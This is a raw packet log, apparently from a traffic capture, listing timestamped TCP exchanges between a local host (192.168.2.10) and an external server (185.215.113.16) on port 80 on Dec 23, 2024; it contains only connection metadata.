Dec 23, 2024 08:15:52.811024904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.811059952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.811121941 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.811172009 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.811796904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.811851025 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.811880112 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.811894894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.812119007 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.812159061 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.812627077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.812661886 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.812699080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.812741041 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.812741041 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.812786102 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.813332081 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.813411951 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.813421965 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.813452959 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.813508034 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.813525915 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.814198017 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.814232111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.814268112 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.814291954 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.814321041 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.814332962 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.814897060 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.815006971 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.815041065 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.815062046 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.815088987 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.815098047 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.815692902 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.815752983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.815766096 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.815859079 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.815901041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.816572905 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.816607952 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.816646099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.816683054 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.816724062 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.816786051 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.817424059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.817459106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.817536116 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.871129990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.871228933 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.871244907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.871336937 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.871351957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.871509075 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.871522903 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.871536016 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.871565104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.871565104 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.872010946 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.872129917 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.872334003 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.872347116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.872359991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.872417927 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.872559071 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.872662067 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.873076916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.873107910 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.873120070 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.873266935 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.873362064 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.873478889 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.873833895 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.873925924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.873933077 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.874041080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.874089003 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.874465942 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.874701977 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.874716997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.874730110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.874847889 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.875344992 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.875344992 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.875464916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.875478029 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.875490904 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.875679016 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.924263000 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.924299955 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.924325943 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.924382925 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.924382925 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.924412966 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.924496889 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.924521923 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.924611092 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.924649954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.924704075 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.924968004 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.925009012 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.925031900 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.925084114 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.925189972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.925293922 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.925766945 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.925828934 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.925864935 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.925911903 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.925992966 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.926048994 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.926567078 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.926613092 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.926635981 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.926677942 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.926755905 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.926855087 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.927330971 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.927391052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.927654982 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.999059916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.999191999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.999228954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.999259949 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.999264002 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.999342918 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.999428034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.999500990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.999536991 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:52.999598026 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:52.999634027 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.000047922 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.000240088 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.000296116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.000330925 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.000370026 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.000418901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.001015902 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.001071930 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.001087904 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.001107931 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.001135111 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.001209021 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.001874924 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.001910925 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.001945972 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.001954079 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.001954079 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.001983881 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.002051115 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.002614975 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.002684116 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.002721071 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.002749920 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.003035069 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.003520966 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.003556013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.003582001 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.003597975 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.003633976 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.003654003 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.003695011 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.004221916 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.004343033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.004378080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.004429102 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.004467010 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.004995108 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.005053043 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.005053997 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.005088091 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.005151987 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.005183935 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.005419970 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.005759954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.005816936 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.005852938 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.005871058 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.005970001 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.006623983 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.006679058 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.006714106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.006762028 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.006762028 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.006794930 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.006896019 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.007628918 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.007666111 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.007704973 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.007719994 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.007725954 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.007803917 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.008208990 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.008281946 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.008317947 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.008353949 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.008354902 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.008402109 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.008954048 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.008999109 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.009048939 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.009196043 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.009215117 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.009792089 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.009826899 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.009867907 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.009916067 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.009916067 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.009958982 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.010005951 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.063401937 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.063440084 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.063477039 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.063513994 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.063555956 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.063577890 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.063577890 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.063591957 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.063697100 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.063826084 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.064279079 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.064349890 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.064385891 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.064436913 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.064491034 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.064523935 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.065095901 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.065170050 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.065205097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.065247059 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.065265894 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.065681934 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.065741062 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.065778017 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.065843105 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.065896988 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.066448927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.066503048 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.066529989 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.066539049 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.066643000 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.066684961 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.066735983 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.067231894 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.067287922 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.067342997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.067349911 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.067428112 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.067485094 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.068031073 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.068109035 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.069452047 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.116336107 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.116374016 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.116408110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.116540909 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.116605997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.116677999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.116712093 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.116739035 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.116822958 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.116863966 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.117328882 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.117362976 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.117398024 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.117398977 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.117469072 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.117532969 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.118052959 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.118120909 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.118155003 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.118232012 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.118232012 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.118273973 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.118844032 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.118952036 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.118987083 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.119015932 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.119051933 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.119055033 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.119693041 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.119728088 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.119750977 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.163352966 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.191399097 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.191438913 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.191452026 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.191793919 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.191807032 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.191827059 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.191840887 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.191859007 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.191859007 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.192553997 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.192567110 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.192594051 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.192636013 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.192650080 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.192796946 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.192796946 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.192854881 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.193414927 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.193428993 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.193442106 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.194118023 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.194130898 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.194185019 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.194185019 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.194209099 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.194225073 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.194360971 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.194375038 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.194463968 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.194916964 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.195024967 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.195039034 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.195331097 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.195348024 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.195522070 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.195777893 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.195790052 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.195801973 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.195993900 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.196012020 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.196594954 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.196604013 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.196608067 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.196621895 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.196845055 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.196856022 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.196949005 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.197354078 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.197365999 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.197377920 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.197690964 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.197701931 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.198026896 CET	49763	80	192.168.2.10	185.215.113.16
Dec 23, 2024 08:15:53.198147058 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.198158979 CET	80	49763	185.215.113.16	192.168.2.10
Dec 23, 2024 08:15:53.198170900 CET	80	49763	185.215.113.16	192.168.2.10
